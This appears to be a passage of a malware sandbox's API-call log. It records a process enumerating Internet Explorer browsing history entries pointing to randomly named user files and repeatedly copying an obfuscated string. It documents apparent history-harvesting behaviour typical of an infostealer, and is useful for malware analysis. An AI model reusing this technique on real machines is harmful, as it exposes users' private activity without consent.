6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.928] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/JbHJ.gif") returned 63 [0056.928] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/JbHJ.gif") returned 63 [0056.928] CoTaskMemFree (pv=0x2f55f0) [0056.928] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.928] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/5U0Uje3nOh1.mkv", lpSrch="?") returned 0x0 [0056.928] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.928] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.928] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.928] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/5U0Uje3nOh1.mkv") returned 57 [0056.928] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/5U0Uje3nOh1.mkv") returned 57 [0056.928] CoTaskMemFree (pv=0x2eb2b8) [0056.928] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.929] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/fPFgz-1D5yQIS3tV.png", lpSrch="?") returned 0x0 [0056.929] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.929] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.929] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.929] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/fPFgz-1D5yQIS3tV.png") returned 62 [0056.929] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/fPFgz-1D5yQIS3tV.png") returned 62 [0056.929] CoTaskMemFree (pv=0x2f5788) [0056.929] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.929] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/h6rzILMxje9AG.odt", lpSrch="?") returned 0x0 [0056.929] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.929] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.929] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.929] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/h6rzILMxje9AG.odt") returned 61 [0056.929] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/h6rzILMxje9AG.odt") returned 61 [0056.929] CoTaskMemFree (pv=0x2f5920) [0056.929] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.929] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/k7zh4yY.swf", lpSrch="?") returned 0x0 [0056.929] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.929] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.929] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.929] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/k7zh4yY.swf") returned 62 [0056.929] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/k7zh4yY.swf") returned 62 [0056.930] CoTaskMemFree (pv=0x2f5ab8) [0056.930] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.930] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/8T2Yzi557X7D%20oilu.jpg", lpSrch="?") returned 0x0 [0056.930] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.930] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.930] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.930] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/8T2Yzi557X7D%20oilu.jpg") returned 99 [0056.930] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/8T2Yzi557X7D%20oilu.jpg") returned 99 [0056.930] CoTaskMemFree (pv=0x2d5a08) [0056.930] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.930] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/OjUe9R5wUo.mkv", lpSrch="?") returned 0x0 [0056.930] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.930] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.930] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.930] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/OjUe9R5wUo.mkv") returned 99 [0056.930] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/OjUe9R5wUo.mkv") returned 99 [0056.931] CoTaskMemFree (pv=0x2d5c78) [0056.931] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.931] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/b%20XijLkCai0.flv", lpSrch="?") returned 0x0 [0056.931] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.931] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.931] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.931] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/b%20XijLkCai0.flv") returned 68 [0056.931] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/b%20XijLkCai0.flv") returned 68 [0056.931] CoTaskMemFree (pv=0x2da528) [0056.931] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.931] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/OkOn58e2xb%20DSMd.jpg", lpSrch="?") returned 0x0 [0056.931] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.931] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.931] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.931] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/OkOn58e2xb%20DSMd.jpg") returned 76 [0056.931] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/OkOn58e2xb%20DSMd.jpg") returned 76 [0056.931] CoTaskMemFree (pv=0x2ff128) [0056.931] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.932] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/SPP1HNA.swf", lpSrch="?") returned 0x0 [0056.932] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.932] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.932] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.932] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/SPP1HNA.swf") returned 97 [0056.932] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/SPP1HNA.swf") returned 97 [0056.932] CoTaskMemFree (pv=0x2d5ee8) [0056.932] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.933] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/7x64SqJgXq6AM.jpg", lpSrch="?") returned 0x0 [0056.933] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.933] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.933] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.933] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/7x64SqJgXq6AM.jpg") returned 93 [0056.933] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/7x64SqJgXq6AM.jpg") returned 93 [0056.933] CoTaskMemFree (pv=0x2d1700) [0056.933] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.933] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/8WjgjvsnAuD.docx", lpSrch="?") returned 0x0 [0056.933] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.933] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.933] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.933] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/8WjgjvsnAuD.docx") returned 60 [0056.933] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/8WjgjvsnAuD.docx") returned 60 [0056.933] CoTaskMemFree (pv=0x2f5d60) [0056.933] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.933] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/wvDs4gEAz30rM.gif", lpSrch="?") returned 0x0 [0056.933] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.934] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.934] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") 